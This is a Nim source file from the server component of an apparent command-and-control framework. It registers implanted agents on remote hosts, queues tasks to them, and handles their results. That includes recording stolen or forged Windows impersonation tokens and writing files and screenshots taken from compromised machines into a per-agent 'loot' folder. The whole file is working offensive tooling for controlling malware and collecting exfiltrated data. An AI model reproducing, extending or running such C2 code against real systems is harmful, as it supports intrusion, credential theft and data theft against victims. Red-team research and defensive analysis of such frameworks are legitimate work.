import terminal, strformat, strutils, sequtils, tables, os, times
import std/[dirs, paths]

import ../globals
import ../db/database
import ../core/[packer, logger, websocket]
import ../../common/[types, utils, serialize]

#[
  Agent API
  Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results
]#
proc register*(registrationData: seq[byte], remoteAddress: string): bool = 

    # The following line is required to be able to use the `cq` global variable for console output
    {.cast(gcsafe).}:

        try:
            let agent: Agent = cq.deserializeNewAgent(registrationData, remoteAddress)

            # Validate that listener exists        
            if not cq.dbListenerExists(agent.listenerId.toUpperAscii): 
                raise newException(CatchableError, fmt"{agent.ipInternal} attempted to register to non-existent listener: {agent.listenerId}." & "\n")

            # Store agent in database
            if not cq.dbStoreAgent(agent): 
                raise newException(CatchableError, fmt"Failed to insert agent {agent.agentId} into database." & "\n")

            # Create log directory
            if not cq.makeAgentLogDirectory(agent.agentId):
                raise newException(CatchableError, "Failed to create log directory.\n")

            cq.agents[agent.agentId] = agent

            cq.info("Agent ", fgYellow, styleBright, agent.agentId, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listenerId, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") 
            
            # Send new agent to client
            cq.client.sendAgent(agent)
            cq.client.sendEventlogItem(LOG_INFO_SHORT, fmt"Agent {agent.agentId} connected to listener {agent.listenerId}.")
            return true
        
        except CatchableError as err:
            cq.error(err.msg) 
            return false

proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte]]] = 

    {.cast(gcsafe).}:

        # Deserialize checkin request to obtain agentId and listenerId 
        let 
            request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
            agentId = Uuid.toString(request.header.agentId)
            listenerId = Uuid.toString(request.listenerId)
            timestamp = request.timestamp

        var tasks: seq[seq[byte]]

        # Check if listener exists
        if not cq.dbListenerExists(listenerId): 
            raise newException(ValueError, fmt"Task-retrieval request made to non-existent listener: {listenerId}." & "\n")

        # Check if agent exists
        if not cq.dbAgentExists(agentId): 
            raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n")

        # Update the last check-in date for the accessed agent
        cq.agents[agentId].latestCheckin = cast[int64](timestamp)
        cq.client.sendAgentCheckin(agentId)

        # Return tasks
        for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag
            let taskData = cq.serializeTask(task)
            tasks.add(taskData)
        
        return (agentId, tasks)

proc handleResult*(resultData: seq[byte]) = 

    {.cast(gcsafe).}:

        try:
            let
                taskResult = cq.deserializeTaskResult(resultData) 
                taskId = Uuid.toString(taskResult.taskId)
                agentId = Uuid.toString(taskResult.header.agentId)

            cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$resultData.len} bytes received.")
            cq.info(fmt"{$resultData.len} bytes received.")
            
            # Update task queue to include all tasks, except the one that was just completed
            case cast[StatusType](taskResult.status):
            of STATUS_COMPLETED:
                cq.client.sendConsoleItem(agentId, LOG_SUCCESS, fmt"Task {taskId} completed.")
                cq.success(fmt"Task {taskId} completed.")
                cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)

                # Handle additional actions or UI-events based on command type (only when command succeeded)
                case cast[CommandType](taskResult.command):
                of CMD_MAKE_TOKEN, CMD_STEAL_TOKEN: 
                    let impersonationToken: string = Bytes.toString(taskResult.data).split(" ", 1)[1..^1].join(" ")[0..^2]   # Remove trailing '.' character from the domain\username string
                    if cq.dbUpdateTokenImpersonation(agentId, impersonationToken):
                        cq.agents[agentId].impersonationToken = impersonationToken
                        cq.client.sendImpersonateToken(agentId, impersonationToken) 
                of CMD_REV2SELF:
                    if cq.dbUpdateTokenImpersonation(agentId, ""):
                        cq.agents[agentId].impersonationToken.setLen(0)
                        cq.client.sendRevertToken(agentId)
                else: discard 

            of STATUS_FAILED: 
                cq.client.sendConsoleItem(agentId, LOG_ERROR, fmt"Task {taskId} failed.")
                cq.error(fmt"Task {taskId} failed.")
                cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
            of STATUS_IN_PROGRESS: 
                discard

            case cast[ResultType](taskResult.resultType):
            of RESULT_STRING:
                if int(taskResult.length) > 0:
                    cq.client.sendConsoleItem(agentId, LOG_INFO, "Output:") 
                    cq.client.sendConsoleItem(agentId, LOG_OUTPUT, Bytes.toString(taskResult.data))

            of RESULT_BINARY:
                # Write binary data to a file 
                # A binary result packet consists of the filename and file contents, both prefixed with their respective lengths as a uint32 value
                var unpacker = Unpacker.init(Bytes.toString(taskResult.data))
                let 
                    fileName = unpacker.getDataWithLengthPrefix().replace("\\", "_").replace(":", "") # Replace path characters for better storage of downloaded files            
                    fileData = unpacker.getDataWithLengthPrefix()

                # Create loot directory for the agent
                createDir(cast[Path](fmt"{CONQUEST_ROOT}/data/loot/{agentId}"))
                let downloadPath = fmt"{CONQUEST_ROOT}/data/loot/{agentId}/{fileName}"

                writeFile(downloadPath, fileData)

                # Get file information
                let fileInfo = getFileInfo(downloadPath)
                var lootItem = LootItem(
                    lootId: generateUuid(),
                    itemType: parseEnum[LootItemType](($cast[CommandType](taskResult.command)).split("_")[1]), # CMD_DOWNLOAD -> DOWNLOAD, CMD_SCREENSHOT -> SCREENSHOT
                    agentId: agentId, 
                    path: downloadPath, 
                    timestamp: fileInfo.creationTime.toUnix(),
                    size: fileInfo.size, 
                    host: cq.agents[agentId].hostname
                )

                # Send loot to client to display file/screenshot in the UI
                discard cq.dbStoreLoot(lootItem)
                cq.client.sendLoot(lootItem)

                cq.output(fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).", "\n")
                cq.client.sendConsoleItem(agentId, LOG_OUTPUT, fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).")
            else: discard 

            # Send newline to separate commands
            cq.client.sendConsoleItem(agentId, LOG_OUTPUT, "")
            
        except CatchableError as err:
            cq.error(err.msg, "\n")  
